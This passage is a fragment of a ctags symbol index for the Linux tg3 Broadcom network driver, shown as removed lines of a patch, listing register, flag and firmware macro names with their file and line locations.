tg3.h 756;" d=0A= -RCVBDI_MINI_PROD_IDX tg3.h 753;" d=0A= -RCVBDI_MINI_THRESH tg3.h 754;" d=0A= -RCVBDI_MODE tg3.h 745;" d=0A= -RCVBDI_MODE_ENABLE tg3.h 747;" d=0A= -RCVBDI_MODE_RCB_ATTN_ENAB tg3.h 748;" d=0A= -RCVBDI_MODE_RESET tg3.h 746;" d=0A= -RCVBDI_STATUS tg3.h 749;" d=0A= -RCVBDI_STATUS_RCB_ATTN tg3.h 750;" d=0A= -RCVBDI_STD_PROD_IDX tg3.h 752;" d=0A= -RCVBDI_STD_THRESH tg3.h 755;" d=0A= -RCVCC_JUMP_PROD_IDX tg3.h 766;" d=0A= -RCVCC_MINI_PROD_IDX tg3.h 768;" d=0A= -RCVCC_MODE tg3.h 760;" d=0A= -RCVCC_MODE_ATTN_ENABLE tg3.h 763;" d=0A= -RCVCC_MODE_ENABLE tg3.h 762;" d=0A= -RCVCC_MODE_RESET tg3.h 761;" d=0A= -RCVCC_STATUS tg3.h 764;" d=0A= -RCVCC_STATUS_ERROR_ATTN tg3.h 765;" d=0A= -RCVCC_STD_PROD_IDX tg3.h 767;" d=0A= -RCVDBDI_BD_PROD_IDX_0 tg3.h 718;" d=0A= -RCVDBDI_BD_PROD_IDX_1 tg3.h 719;" d=0A= -RCVDBDI_BD_PROD_IDX_10 tg3.h 728;" d=0A= -RCVDBDI_BD_PROD_IDX_11 tg3.h 729;" d=0A= -RCVDBDI_BD_PROD_IDX_12 tg3.h 730;" d=0A= -RCVDBDI_BD_PROD_IDX_13 tg3.h 731;" d=0A= -RCVDBDI_BD_PROD_IDX_14 tg3.h 732;" d=0A= -RCVDBDI_BD_PROD_IDX_15 tg3.h 733;" d=0A= -RCVDBDI_BD_PROD_IDX_2 tg3.h 720;" d=0A= -RCVDBDI_BD_PROD_IDX_3 tg3.h 721;" d=0A= -RCVDBDI_BD_PROD_IDX_4 tg3.h 722;" d=0A= -RCVDBDI_BD_PROD_IDX_5 tg3.h 723;" d=0A= -RCVDBDI_BD_PROD_IDX_6 tg3.h 724;" d=0A= -RCVDBDI_BD_PROD_IDX_7 tg3.h 725;" d=0A= -RCVDBDI_BD_PROD_IDX_8 tg3.h 726;" d=0A= -RCVDBDI_BD_PROD_IDX_9 tg3.h 727;" d=0A= -RCVDBDI_HWDIAG tg3.h 734;" d=0A= -RCVDBDI_JUMBO_BD tg3.h 711;" d=0A= -RCVDBDI_JUMBO_CON_IDX tg3.h 714;" d=0A= -RCVDBDI_MINI_BD tg3.h 713;" d=0A= -RCVDBDI_MINI_CON_IDX tg3.h 716;" d=0A= -RCVDBDI_MODE tg3.h 699;" d=0A= -RCVDBDI_MODE_ENABLE tg3.h 701;" d=0A= -RCVDBDI_MODE_FRM_TOO_BIG tg3.h 703;" d=0A= -RCVDBDI_MODE_INV_RING_SZ tg3.h 704;" d=0A= -RCVDBDI_MODE_JUMBOBD_NEEDED tg3.h 702;" d=0A= -RCVDBDI_MODE_RESET tg3.h 700;" d=0A= -RCVDBDI_SPLIT_FRAME_MINSZ tg3.h 709;" d=0A= -RCVDBDI_STATUS tg3.h 705;" d=0A= -RCVDBDI_STATUS_FRM_TOO_BIG tg3.h 707;" d=0A= -RCVDBDI_STATUS_INV_RING_SZ tg3.h 708;" d=0A= -RCVDBDI_STATUS_JUMBOBD_NEEDED tg3.h 706;" d=0A= -RCVDBDI_STD_BD tg3.h 712;" d=0A= -RCVDBDI_STD_CON_IDX tg3.h 715;" d=0A= -RCVDCC_MODE tg3.h 738;" d=0A= -RCVDCC_MODE_ATTN_ENABLE tg3.h 741;" d=0A= -RCVDCC_MODE_ENABLE tg3.h 740;" d=0A= -RCVDCC_MODE_RESET tg3.h 739;" d=0A= -RCVLPC_CONFIG tg3.h 676;" d=0A= -RCVLPC_COS_CNTL_BASE tg3.h 688;" d=0A= -RCVLPC_DMA_HIPRIO_WQ_FULL_CNT tg3.h 691;" d=0A= -RCVLPC_DMA_WQ_FULL_CNT tg3.h 690;" d=0A= -RCVLPC_DROP_FILTER_CNT tg3.h 689;" d=0A= -RCVLPC_IN_DISCARDS_CNT tg3.h 693;" d=0A= -RCVLPC_IN_ERRORS_CNT tg3.h 694;" d=0A= -RCVLPC_LOCK tg3.h 669;" d=0A= -RCVLPC_LOCK_GRANT_MASK tg3.h 672;" d=0A= -RCVLPC_LOCK_GRANT_SHIFT tg3.h 673;" d=0A= -RCVLPC_LOCK_REQ_MASK tg3.h 670;" d=0A= -RCVLPC_LOCK_REQ_SHIFT tg3.h 671;" d=0A= -RCVLPC_MODE tg3.h 659;" d=0A= -RCVLPC_MODE_CLASS0_ATTN_ENAB tg3.h 662;" d=0A= -RCVLPC_MODE_ENABLE tg3.h 661;" d=0A= -RCVLPC_MODE_MAPOOR_AATTN_ENAB tg3.h 663;" d=0A= -RCVLPC_MODE_RESET tg3.h 660;" d=0A= -RCVLPC_MODE_STAT_OFLOW_ENAB tg3.h 664;" d=0A= -RCVLPC_NON_EMPTY_BITS tg3.h 674;" d=0A= -RCVLPC_NON_EMPTY_BITS_MASK tg3.h 675;" d=0A= -RCVLPC_NO_RCV_BD_CNT tg3.h 692;" d=0A= -RCVLPC_RCV_THRESH_HIT_CNT tg3.h 695;" d=0A= -RCVLPC_SELLST_BASE tg3.h 684;" d=0A= -RCVLPC_STATSCTRL tg3.h 677;" d=0A= -RCVLPC_STATSCTRL_ENABLE tg3.h 678;" d=0A= -RCVLPC_STATSCTRL_FASTUPD tg3.h 679;" d=0A= -RCVLPC_STATSENAB_LNGBRST_RFIX tg3.h 681;" d=0A= -RCVLPC_STATS_ENABLE tg3.h 680;" d=0A= -RCVLPC_STATS_INCMASK tg3.h 682;" d=0A= -RCVLPC_STATUS tg3.h 665;" d=0A= -RCVLPC_STATUS_CLASS0 tg3.h 666;" d=0A= -RCVLPC_STATUS_MAPOOR tg3.h 667;" d=0A= -RCVLPC_STATUS_STAT_OFLOW tg3.h 668;" d=0A= -RCVLSC_MODE tg3.h 772;" d=0A= -RCVLSC_MODE_ATTN_ENABLE tg3.h 775;" d=0A= -RCVLSC_MODE_ENABLE tg3.h 774;" d=0A= -RCVLSC_MODE_RESET tg3.h 773;" d=0A= -RCVLSC_STATUS tg3.h 776;" d=0A= -RCVLSC_STATUS_ERROR_ATTN tg3.h 777;" d=0A= -RCV_RULE_CFG_DEFAULT_CLASS tg3.h 465;" d=0A= -RCV_RULE_DISABLE_MASK tg3.h 463;" d=0A= -RDMAC_MODE tg3.h 927;" d=0A= -RDMAC_MODE_ADDROFLOW_ENAB tg3.h 933;" d=0A= -RDMAC_MODE_ENABLE tg3.h 929;" d=0A= -RDMAC_MODE_FIFOOFLOW_ENAB tg3.h 934;" d=0A= -RDMAC_MODE_FIFOOREAD_ENAB tg3.h 936;" d=0A= -RDMAC_MODE_FIFOURUN_ENAB tg3.h 935;" d=0A= -RDMAC_MODE_FIFO_LONG_BURST tg3.h 941;" d=0A= -RDMAC_MODE_FIFO_SIZE_128 tg3.h 940;" d=0A= -RDMAC_MODE_LNGREAD_ENAB tg3.h 937;" d=0A= -RDMAC_MODE_MSTABORT_ENAB tg3.h 931;" d=0A= -RDMAC_MODE_PARITYERR_ENAB tg3.h 932;" d=0A= -RDMAC_MODE_RESET tg3.h 928;" d=0A= -RDMAC_MODE_SPLIT_ENABLE tg3.h 938;" d=0A= -RDMAC_MODE_SPLIT_RESET tg3.h 939;" d=0A= -RDMAC_MODE_TGTABORT_ENAB tg3.h 930;" d=0A= -RDMAC_STATUS tg3.h 942;" d=0A= -RDMAC_STATUS_ADDROFLOW tg3.h 946;" d=0A= -RDMAC_STATUS_FIFOOFLOW tg3.h 947;" d=0A= -RDMAC_STATUS_FIFOOREAD tg3.h 949;" d=0A= -RDMAC_STATUS_FIFOURUN tg3.h 948;" d=0A= -RDMAC_STATUS_LNGREAD tg3.h 950;" d=0A= -RDMAC_STATUS_MSTABORT tg3.h 944;" d=0A= -RDMAC_STATUS_PARITYERR tg3.h 945;" d=0A= -RDMAC_STATUS_TGTABORT tg3.h 943;" d=0A= -RXD_ERR_BAD_CRC tg3.h 1565;" d=0A= -RXD_ERR_COLLISION tg3.h 1566;" d=0A= -RXD_ERR_HUGE_FRAME tg3.h 1573;" d=0A= -RXD_ERR_LINK_LOST tg3.h 1567;" d=0A= -RXD_ERR_MAC_ABRT tg3.h 1570;" d=0A= -RXD_ERR_MASK tg3.h 1574;" d=0A= -RXD_ERR_NO_RESOURCES tg3.h 1572;" d=0A= -RXD_ERR_ODD_NIBBLE_RCVD_MII tg3.h 1569;" d=0A= -RXD_ERR_PHY_DECODE tg3.h 1568;" d=0A= -RXD_ERR_TOO_SMALL tg3.h 1571;" d=0A= -RXD_FLAGS_SHIFT tg3.h 1544;" d=0A= -RXD_FLAG_END tg3.h 1546;" d=0A= -RXD_FLAG_ERROR tg3.h 1550;" d=0A= -RXD_FLAG_IP_CSUM tg3.h 1551;" d=0A= -RXD_FLAG_IS_TCP tg3.h 1553;" d=0A= -RXD_FLAG_JUMBO tg3.h 1548;" d=0A= -RXD_FLAG_MINI tg3.h 1547;" d=0A= -RXD_FLAG_TCPUDP_CSUM tg3.h 1552;" d=0A= -RXD_FLAG_VLAN tg3.h 1549;" d=0A= -RXD_IDX_MASK tg3.h 1537;" d=0A= -RXD_IDX_SHIFT tg3.h 1538;" d=0A= -RXD_IPCSUM_MASK tg3.h 1556;" d=0A= -RXD_IPCSUM_SHIFT tg3.h 1557;" d=0A= -RXD_LEN_MASK tg3.h 1539;" d=0A= -RXD_LEN_SHIFT tg3.h 1540;" d=0A= -RXD_OPAQUE_INDEX_MASK tg3.h 1578;" d=0A= -RXD_OPAQUE_INDEX_SHIFT tg3.h 1579;" d=0A= -RXD_OPAQUE_RING_JUMBO tg3.h 1581;" d=0A= -RXD_OPAQUE_RING_MASK tg3.h 1583;" d=0A= -RXD_OPAQUE_RING_MINI tg3.h 1582;" d=0A= -RXD_OPAQUE_RING_STD tg3.h 1580;" d=0A= -RXD_TCPCSUM_MASK tg3.h 1558;" d=0A= -RXD_TCPCSUM_SHIFT tg3.h 1559;" d=0A= -RXD_TYPE_SHIFT tg3.h 1543;" d=0A= -RXD_VLAN_MASK tg3.h 1563;" d=0A= -RX_AUTO_NEG_MASK tg3.h 367;" d=0A= -RX_AUTO_NEG_SHIFT tg3.h 368;" d=0A= -RX_COPY_THRESHOLD tg3.h 24;" d=0A= -RX_CPU_BASE tg3.h 1030;" d=0A= -RX_CPU_SCRATCH_BASE tg3.c 3681;" d file:=0A= -RX_CPU_SCRATCH_SIZE tg3.c 3682;" d file:=0A= -RX_JUMBO_MAX_SIZE tg3.h 28;" d=0A= -RX_JUMBO_PKT_BUF_SZ tg3.c 124;" d file:=0A= -RX_MODE_ACCEPT_OVERSIZED tg3.h 417;" d=0A= -RX_MODE_ACCEPT_RUNTS tg3.h 418;" d=0A= -RX_MODE_ENABLE tg3.h 413;" d=0A= -RX_MODE_FLOW_CTRL_ENABLE tg3.h 414;" d=0A= -RX_MODE_KEEP_MAC_CTRL tg3.h 415;" d=0A= -RX_MODE_KEEP_PAUSE tg3.h 416;" d=0A= -RX_MODE_KEEP_VLAN_TAG tg3.h 422;" d=0A= -RX_MODE_LEN_CHECK tg3.h 419;" d=0A= -RX_MODE_NO_CRC_CHECK tg3.h 421;" d=0A= -RX_MODE_PROMISC tg3.h 420;" d=0A= -RX_MODE_RESET tg3.h 412;" d=0A= -RX_MTU_SIZE_MASK tg3.h 358;" d=0A= -RX_PKT_BUF_SZ tg3.c 123;" d file:=0A= -RX_STATUS_REMOTE_TX_XOFFED tg3.h 424;" d=0A= -RX_STATUS_XOFF_RCVD tg3.h 425;" d=0A= -RX_STATUS_XON_RCVD tg3.h 426;" d=0A= -RX_STD_MAX_SIZE tg3.h 26;" d=0A= -RX_STD_MAX_SIZE_5705 tg3.h 27;" d=0A= -SD_STATUS_ERROR tg3.h 1623;" d=0A= -SD_STATUS_LINK_CHG tg3.h 1622;" d=0A= -SD_STATUS_UPDATED tg3.h 1621;" d=0A= -SELLST_CONT tg3.h 686;" d=0A= -SELLST_TAIL tg3.h 685;" d=0A= -SELLST_UNUSED tg3.h 687;" d=0A= -SNDBDC_MODE tg3.h 652;" d=0A= -SNDBDC_MODE_ATTN_ENABLE tg3.h 655;" d=0A= -SNDBDC_MODE_ENABLE tg3.h 654;" d=0A= -SNDBDC_MODE_RESET tg3.h 653;" d=0A= -SNDBDI_IN_PROD_IDX_0 tg3.h 633;" d=0A= -SNDBDI_IN_PROD_IDX_1 tg3.h 634;" d=0A= -SNDBDI_IN_PROD_IDX_10 tg3.h 643;" d=0A= -SNDBDI_IN_PROD_IDX_11 tg3.h 644;" d=0A= -SNDBDI_IN_PROD_IDX_12 tg3.h 645;" d=0A= -SNDBDI_IN_PROD_IDX_13 tg3.h 646;" d=0A= -SNDBDI_IN_PROD_IDX_14 tg3.h 647;" d=0A= -SNDBDI_IN_PROD_IDX_15 tg3.h 648;" d=0A= -SNDBDI_IN_PROD_IDX_2 tg3.h 635;" d=0A= -SNDBDI_IN_PROD_IDX_3 tg3.h 636;" d=0A= -SNDBDI_IN_PROD_IDX_4 tg3.h 637;" d=0A= -SNDBDI_IN_PROD_IDX_5 tg3.h 638;" d=0A= -SNDBDI_IN_PROD_IDX_6 tg3.h 639;" d=0A= -SNDBDI_IN_PROD_IDX_7 tg3.h 640;" d=0A= -SNDBDI_IN_PROD_IDX_8 tg3.h 641;" d=0A= -SNDBDI_IN_PROD_IDX_9 tg3.h 642;" d=0A= -SNDBDI_MODE tg3.h 627;" d=0A= -SNDBDI_MODE_ATTN_ENABLE tg3.h 630;" d=0A= -SNDBDI_MODE_ENABLE tg3.h 629;" d=0A= -SNDBDI_MODE_RESET tg3.h 628;" d=0A= -SNDBDI_STATUS tg3.h 631;" d=0A= -SNDBDI_STATUS_ERROR_ATTN tg3.h 632;" d=0A= -SNDBDS_HWDIAG tg3.h 606;" d=0A= -SNDBDS_MODE tg3.h 600;" d=0A= -SNDBDS_MODE_ATTN_ENABLE tg3.h 603;" d=0A= -SNDBDS_MODE_ENABLE tg3.h 602;" d=0A= -SNDBDS_MODE_RESET tg3.h 601;" d=0A= -SNDBDS_SEL_CON_IDX_0 tg3.h 608;" d=0A= -SNDBDS_SEL_CON_IDX_1 tg3.h 609;" d=0A= -SNDBDS_SEL_CON_IDX_10 tg3.h 618;" d=0A= -SNDBDS_SEL_CON_IDX_11 tg3.h 619;" d=0A= -SNDBDS_SEL_CON_IDX_12 tg3.h 620;" d=0A= -SNDBDS_SEL_CON_IDX_13 tg3.h 621;" d=0A= -SNDBDS_SEL_CON_IDX_14 tg3.h 622;" d=0A= -SNDBDS_SEL_CON_IDX_15 tg3.h 623;" d=0A= -SNDBDS_SEL_CON_IDX_2 tg3.h 610;" d=0A= -SNDBDS_SEL_CON_IDX_3 tg3.h 611;" d=0A= -SNDBDS_SEL_CON_IDX_4 tg3.h 612;" d=0A= -SNDBDS_SEL_CON_IDX_5 tg3.h 613;" d=0A= -SNDBDS_SEL_CON_IDX_6 tg3.h 614;" d=0A= -SNDBDS_SEL_CON_IDX_7 tg3.h 615;" d=0A= -SNDBDS_SEL_CON_IDX_8 tg3.h 616;" d=0A= -SNDBDS_SEL_CON_IDX_9 tg3.h 617;" d=0A= -SNDBDS_STATUS tg3.h 604;" d=0A= -SNDBDS_STATUS_ERROR_ATTN tg3.h 605;" d=0A= -SNDDATAC_MODE tg3.h 594;" d=0A= -SNDDATAC_MODE_ENABLE tg3.h 596;" d=0A= -SNDDATAC_MODE_RESET tg3.h 595;" d=0A= -SNDDATAI_AVOID_INTERRUPTS_CNT tg3.h 589;" d=0A= -SNDDATAI_COS_CNT_0 tg3.h 567;" d=0A= -SNDDATAI_COS_CNT_1 tg3.h 568;" d=0A= -SNDDATAI_COS_CNT_10 tg3.h 577;" d=0A= -SNDDATAI_COS_CNT_11 tg3.h 578;" d=0A= -SNDDATAI_COS_CNT_12 tg3.h 579;" d=0A= -SNDDATAI_COS_CNT_13 tg3.h 580;" d=0A= -SNDDATAI_COS_CNT_14 tg3.h 581;" d=0A= -SNDDATAI_COS_CNT_15 tg3.h 582;" d=0A= -SNDDATAI_COS_CNT_2 tg3.h 569;" d=0A= -SNDDATAI_COS_CNT_3 tg3.h 570;" d=0A= -SNDDATAI_COS_CNT_4 tg3.h 571;" d=0A= -SNDDATAI_COS_CNT_5 tg3.h 572;" d=0A= -SNDDATAI_COS_CNT_6 tg3.h 573;" d=0A= -SNDDATAI_COS_CNT_7 tg3.h 574;" d=0A= -SNDDATAI_COS_CNT_8 tg3.h 575;" d=0A= -SNDDATAI_COS_CNT_9 tg3.h 576;" d=0A= -SNDDATAI_DMA_PRIO_RDQ_FULL_CNT tg3.h 584;" d=0A= -SNDDATAI_DMA_RDQ_FULL_CNT tg3.h 583;" d=0A= -SNDDATAI_INTERRUPTS_CNT tg3.h 588;" d=0A= -SNDDATAI_MODE tg3.h 552;" d=0A= -SNDDATAI_MODE_ENABLE tg3.h 554;" d=0A= -SNDDATAI_MODE_RESET tg3.h 553;" d=0A= -SNDDATAI_MODE_STAT_OFLOW_ENAB tg3.h 555;" d=0A= -SNDDATAI_NICRNG_SSND_PIDX_CNT tg3.h 586;" d=0A= -SNDDATAI_SCTRL_CLEAR tg3.h 561;" d=0A= -SNDDATAI_SCTRL_ENABLE tg3.h 559;" d=0A= -SNDDATAI_SCTRL_FASTUPD tg3.h 560;" d=0A= -SNDDATAI_SCTRL_FLUSH tg3.h 562;" d=0A= -SNDDATAI_SCTRL_FORCE_ZERO tg3.h 563;" d=0A= -SNDDATAI_SDCQ_FULL_CNT tg3.h 585;" d=0A= -SNDDATAI_SND_THRESH_HIT_CNT tg3.h 590;" d=0A= -SNDDATAI_STATSCTRL tg3.h 558;" d=0A= -SNDDATAI_STATSENAB tg3.h 564;" d=0A= -SNDDATAI_STATSINCMASK tg3.h 565;" d=0A= -SNDDATAI_STATS_UPDATED_CNT tg3.h 587;" d=0A= -SNDDATAI_STATUS tg3.h 556;" d=0A= -SNDDATAI_STATUS_STAT_OFLOW tg3.h 557;" d=0A= -SPEED_INVALID tg3.h 1791;" d=0A= -SPLIT_MODE_5704_MAX_REQ tg3.h 1925;" d=0A= -SWARB_GNT0 tg3.h 1322;" d=0A= -SWARB_GNT1 tg3.h 1323;" d=0A= -SWARB_GNT2 tg3.h 1324;" d=0A= -SWARB_GNT3 tg3.h 1325;" d=0A= -SWARB_REQ0 tg3.h 1326;" d=0A= -SWARB_REQ1 tg3.h 1327;" d=0A= -SWARB_REQ2 tg3.h 1328;" d=0A= -SWARB_REQ3 tg3.h 1329;" d=0A= -SWARB_REQ_CLR0 tg3.h 1318;" d=0A= -SWARB_REQ_CLR1 tg3.h 1319;" d=0A= -SWARB_REQ_CLR2 tg3.h 1320;" d=0A= -SWARB_REQ_CLR3 tg3.h 1321;" d=0A= -SWARB_REQ_SET0 tg3.h 1314;" d=0A= -SWARB_REQ_SET1 tg3.h 1315;" d=0A= -SWARB_REQ_SET2 tg3.h 1316;" d=0A= -SWARB_REQ_SET3 tg3.h 1317;" d=0A= -TEST_BUFFER_SIZE tg3.c 7219;" d file:=0A= -TG3PCI_BASE0_HIGH tg3.h 46;" d=0A= -TG3PCI_BASE0_LOW tg3.h 45;" d=0A= -TG3PCI_BIST tg3.h 44;" d=0A= -TG3PCI_BR_SUPP_EXT tg3.h 71;" d=0A= -TG3PCI_CACHELINESZ tg3.h 41;" d=0A= -TG3PCI_CAPLIST tg3.h 51;" d=0A= -TG3PCI_CCREVID tg3.h 40;" d=0A= -TG3PCI_CLOCK_CTRL tg3.h 180;" d=0A= -TG3PCI_COMMAND tg3.h 38;" d=0A= -TG3PCI_DEVICE tg3.h 33;" d=0A= -TG3PCI_DEVICE_TIGON3_1 tg3.h 34;" d=0A= -TG3PCI_DEVICE_TIGON3_2 tg3.h 35;" d=0A= -TG3PCI_DEVICE_TIGON3_3 tg3.h 36;" d=0A= -TG3PCI_DEVICE_TIGON3_4 tg3.h 37;" d=0A= -TG3PCI_DMA_RW_CTRL tg3.h 138;" d=0A= -TG3PCI_HEADERTYPE tg3.h 43;" d=0A= -TG3PCI_IRQ_LINE tg3.h 53;" d=0A= -TG3PCI_IRQ_PIN tg3.h 54;" d=0A= -TG3PCI_LATTIMER tg3.h 42;" d=0A= -TG3PCI_MAX_LAT tg3.h 56;" d=0A= -TG3PCI_MEM_WIN_BASE_ADDR tg3.h 192;" d=0A= -TG3PCI_MEM_WIN_DATA tg3.h 194;" d=0A= -TG3PCI_MIN_GNT tg3.h 55;" d=0A= -TG3PCI_MISC_CFG tg3.h 196;" d=0A= -TG3PCI_MISC_HOST_CTRL tg3.h 85;" d=0A= -TG3PCI_MISC_LOCAL_CTRL tg3.h 197;" d=0A= -TG3PCI_MODE_CTRL tg3.h 195;" d=0A= -TG3PCI_MSI_ADDR_HIGH tg3.h 82;" d=0A= -TG3PCI_MSI_ADDR_LOW tg3.h 81;" d=0A= -TG3PCI_MSI_CAP_ID tg3.h 78;" d=0A= -TG3PCI_MSI_CAP_PTR tg3.h 74;" d=0A= -TG3PCI_MSI_CTRL tg3.h 80;" d=0A= -TG3PCI_MSI_DATA tg3.h 83;" d=0A= -TG3PCI_NXT_CAP_PTR tg3.h 79;" d=0A= -TG3PCI_PCISTATE tg3.h 170;" d=0A= -TG3PCI_PM_CAPS tg3.h 69;" d=0A= -TG3PCI_PM_CAP_ID tg3.h 67;" d=0A= -TG3PCI_PM_CAP_PTR tg3.h 64;" d=0A= -TG3PCI_PM_CTRL_STAT tg3.h 70;" d=0A= -TG3PCI_PM_DATA tg3.h 72;" d=0A= -TG3PCI_RCV_RET_RING_CON_IDX tg3.h 200;" d=0A= -TG3PCI_REG_BASE_ADDR tg3.h 191;" d=0A= -TG3PCI_REG_DATA tg3.h 193;" d=0A= -TG3PCI_ROMADDR tg3.h 50;" d=0A= -TG3PCI_SND_PROD_IDX tg3.h 201;" d=0A= -TG3PCI_STATUS tg3.h 39;" d=0A= -TG3PCI_STD_RING_PROD_IDX tg3.h 199;" d=0A= -TG3PCI_SUBSYSID tg3.h 49;" d=0A= -TG3PCI_SUBSYSVENID tg3.h 48;" d=0A= -TG3PCI_VENDOR tg3.h 31;" d=0A= -TG3PCI_VENDOR_BROADCOM tg3.h 32;" d=0A= -TG3PCI_VPD_ADDR_FLAG tg3.h 75;" d=0A= -TG3PCI_VPD_CAP_ID tg3.h 73;" d=0A= -TG3PCI_VPD_CAP_PTR tg3.h 68;" d=0A= -TG3PCI_VPD_DATA tg3.h 77;" d=0A= -TG3PCI_X_CAPS tg3.h 57;" d=0A= -TG3PCI_X_COMMAND tg3.h 65;" d=0A= -TG3PCI_X_STATUS tg3.h 66;" d=0A= -TG3_64BIT_REG_HIGH tg3.h 11;" d=0A= -TG3_64BIT_REG_LOW tg3.h 12;" d=0A= -TG3_BDINFO_HOST_ADDR tg3.h 15;" d=0A= -TG3_BDINFO_MAXLEN_FLAGS tg3.h 16;" d=0A= -TG3_BDINFO_NIC_ADDR tg3.h 21;" d=0A= -TG3_BDINFO_SIZE tg3.h 22;" d=0A= -TG3_BMCR_SPEED1000 tg3.h 1412;" d=0A= -TG3_DEF_MAC_MODE tg3.c 62;" d file:=0A= -TG3_DEF_MSG_ENABLE tg3.c 65;" d file:=0A= -TG3_DEF_RX_JUMBO_RING_PENDING tg3.c 92;" d file:=0A= -TG3_DEF_RX_MODE tg3.c 63;" d file:=0A= -TG3_DEF_RX_RING_PENDING tg3.c 90;" d file:=0A= -TG3_DEF_TX_MODE tg3.c 64;" d file:=0A= -TG3_DEF_TX_RING_PENDING tg3.c 105;" d file:=0A= -TG3_FLAG_10_100_ONLY tg3.h 1908;" d=0A= -TG3_FLAG_5701_REG_WRITE_BUG tg3.h 1890;" d=0A= -TG3_FLAG_BROKEN_CHECKSUMS tg3.h 1912;" d=0A= -TG3_FLAG_EEPROM_WRITE_PROT tg3.h 1896;" d=0A= -TG3_FLAG_ENABLE_ASF tg3.h 1889;" d=0A= -TG3_FLAG_GOT_SERDES_FLOWCTL tg3.h 1913;" d=0A= -TG3_FLAG_HOST_TXDS tg3.h 1884;" d=0A= -TG3_FLAG_INIT_COMPLETE tg3.h 1915;" d=0A= -TG3_FLAG_JUMBO_ENABLE tg3.h 1907;" d=0A= -TG3_FLAG_MBOX_WRITE_REORDER tg3.h 1892;" d=0A= -TG3_FLAG_NO_RX_PSEUDO_CSUM tg3.h 1905;" d=0A= -TG3_FLAG_NO_TX_PSEUDO_CSUM tg3.h 1904;" d=0A= -TG3_FLAG_NVRAM tg3.h 1897;" d=0A= -TG3_FLAG_NVRAM_BUFFERED tg3.h 1898;" d=0A= -TG3_FLAG_PAUSE_AUTONEG tg3.h 1909;" d=0A= -TG3_FLAG_PAUSE_RX tg3.h 1910;" d=0A= -TG3_FLAG_PAUSE_TX tg3.h 1911;" d=0A= -TG3_FLAG_PCIX_MODE tg3.h 1901;" d=0A= -TG3_FLAG_PCIX_TARGET_HWBUG tg3.h 1893;" d=0A= -TG3_FLAG_PCI_32BIT tg3.h 1903;" d=0A= -TG3_FLAG_PCI_HIGH_SPEED tg3.h 1902;" d=0A= -TG3_FLAG_POLL_SERDES tg3.h 1891;" d=0A= -TG3_FLAG_RX_CHECKSUMS tg3.h 1886;" d=0A= -TG3_FLAG_RX_PAUSE tg3.h 1899;" d=0A= -TG3_FLAG_SERDES_WOL_CAP tg3.h 1906;" d=0A= -TG3_FLAG_SPLIT_MODE tg3.h 1914;" d=0A= -TG3_FLAG_TXD_MBOX_HWBUG tg3.h 1885;" d=0A= -TG3_FLAG_TX_PAUSE tg3.h 1900;" d=0A= -TG3_FLAG_USE_LINKCHG_REG tg3.h 1887;" d=0A= -TG3_FLAG_USE_MI_INTERRUPT tg3.h 1888;" d=0A= -TG3_FLAG_WOL_ENABLE tg3.h 1895;" d=0A= -TG3_FLAG_WOL_SPEED_100MB tg3.h 1894;" d=0A= -TG3_FLG2_IS_5788 tg3.h 1920;" d=0A= -TG3_FLG2_MAX_RXPEND_64 tg3.h 1921;" d=0A= -TG3_FLG2_NO_ETH_WIRE_SPEED tg3.h 1919;" d=0A= -TG3_FLG2_RESTART_TIMER tg3.h 1917;" d=0A= -TG3_FLG2_SUN_5704 tg3.h 1918;" d=0A= -TG3_FLG2_TSO_CAPABLE tg3.h 1922;" d=0A= -TG3_FW_BSS_ADDR tg3.c 3569;" d file:=0A= -TG3_FW_BSS_LEN tg3.c 3570;" d file:=0A= -TG3_FW_DATA_ADDR tg3.c 3565;" d file:=0A= -TG3_FW_DATA_LEN tg3.c 3566;" d file:=0A= -TG3_FW_RELASE_MINOR tg3.c 3558;" d file:=0A= -TG3_FW_RELEASE_FIX tg3.c 3559;" d file:=0A= -TG3_FW_RELEASE_MAJOR tg3.c 3557;" d file:=0A= -TG3_FW_RODATA_ADDR tg3.c 3563;" d file:=0A= -TG3_FW_RODATA_LEN tg3.c 3564;" d file:=0A= -TG3_FW_SBSS_ADDR tg3.c 3567;" d file:=0A= -TG3_FW_SBSS_LEN tg3.c 3568;" d file:=0A= -TG3_FW_START_ADDR tg3.c 3560;" d file:=0A= -TG3_FW_TEXT_ADDR tg3.c 3561;" d file:=0A= -TG3_FW_TEXT_LEN tg3.c 3562;" d file:=0A= -TG3_HW_STATUS_SIZE tg3.h 1618;" d=0A= -TG3_MAX_MTU tg3.c 82;" d file:=0A= -TG3_MIN_MTU tg3.c 81;" d file:=0A= -TG3_REGDUMP_LEN tg3.c 5824;" d file:=0A= -TG3_RX_JUMBO_RING_BYTES tg3.c 109;" d file:=0A= -TG3_RX_JUMBO_RING_SIZE tg3.c 91;" d file:=0A= -TG3_RX_RCB_RING_BYTES tg3.c 111;" d file:=0A= -TG3_RX_RCB_RING_SIZE tg3.c 100;" d file:=0A= -TG3_RX_RING_BYTES tg3.c 107;" d file:=0A= -TG3_RX_RING_SIZE tg3.c 89;" d file:=0A= -TG3_STAT_ADD32 tg3.c 5149;" d file:=0A= -TG3_TSO5_FW_BSS_ADDR tg3.c 4194;" d file:=0A= -TG3_TSO5_FW_BSS_LEN tg3.c 4195;" d file:=0A= -TG3_TSO5_FW_DATA_ADDR tg3.c 4190;" d file:=0A= -TG3_TSO5_FW_DATA_LEN tg3.c 4191;" d file:=0A= -TG3_TSO5_FW_RELASE_MINOR tg3.c 4183;" d file:=0A= -TG3_TSO5_FW_RELEASE_FIX tg3.c 4184;" d file:=0A= -TG3_TSO5_FW_RELEASE_MAJOR tg3.c 4182;" d file:=0A= -TG3_TSO5_FW_RODATA_ADDR tg3.c 4188;" d file:=0A= -TG3_TSO5_FW_RODATA_LEN tg3.c 4189;" d file:=0A= -TG3_TSO5_FW_SBSS_ADDR tg3.c 4192;" d file:=0A= -TG3_TSO5_FW_SBSS_LEN tg3.c 4193;" d file:=0A= -TG3_TSO5_FW_START_ADDR tg3.c 4185;" d file:=0A= -TG3_TSO5_FW_TEXT_ADDR tg3.c 4186;" d file:=0A= -TG3_TSO5_FW_TEXT_LEN tg3.c 4187;" d file:=0A= -TG3_TSO_FW_BSS_ADDR tg3.c 3874;" d file:=0A= -TG3_TSO_FW_BSS_LEN tg3.c 3875;" d file:=0A= -TG3_TSO_FW_DATA_ADDR tg3.c 3870;" d file:=0A= -TG3_TSO_FW_DATA_LEN tg3.c 3871;" d file:=0A= -TG3_TSO_FW_RELASE_MINOR tg3.c 3863;" d file:=0A= -TG3_TSO_FW_RELEASE_FIX tg3.c 3864;" d file:=0A= -TG3_TSO_FW_RELEASE_MAJOR tg3.c 3862;" d file:=0A= -TG3_TSO_FW_RODATA_ADDR tg3.c 3868;" d 